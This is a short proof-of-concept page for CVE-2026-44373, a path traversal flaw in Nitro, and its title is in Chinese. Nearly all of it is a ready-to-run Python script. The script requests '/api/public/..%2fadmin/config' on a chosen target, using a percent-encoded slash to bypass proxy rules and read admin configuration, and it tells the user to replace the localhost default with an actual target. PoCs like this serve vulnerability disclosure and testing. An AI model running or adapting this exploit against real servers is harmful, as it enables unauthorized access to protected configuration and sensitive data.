CVE-2026-44373 Nitro路径遍历漏洞

# PoC for CVE-2026-44373 # Exploiting path traversal via percent-encoding import requests def exploit(target_url): # The payload uses ..%2f to bypass proxy rules # Change 'sensitive-path' to the actual path you want to reach payload = "/api/public/..%2fadmin/config" full_url = f"{target_url}{payload}" print(f"Sending request to: {full_url}") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Request successful! Possible bypass detected.") print("Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target exploit(target)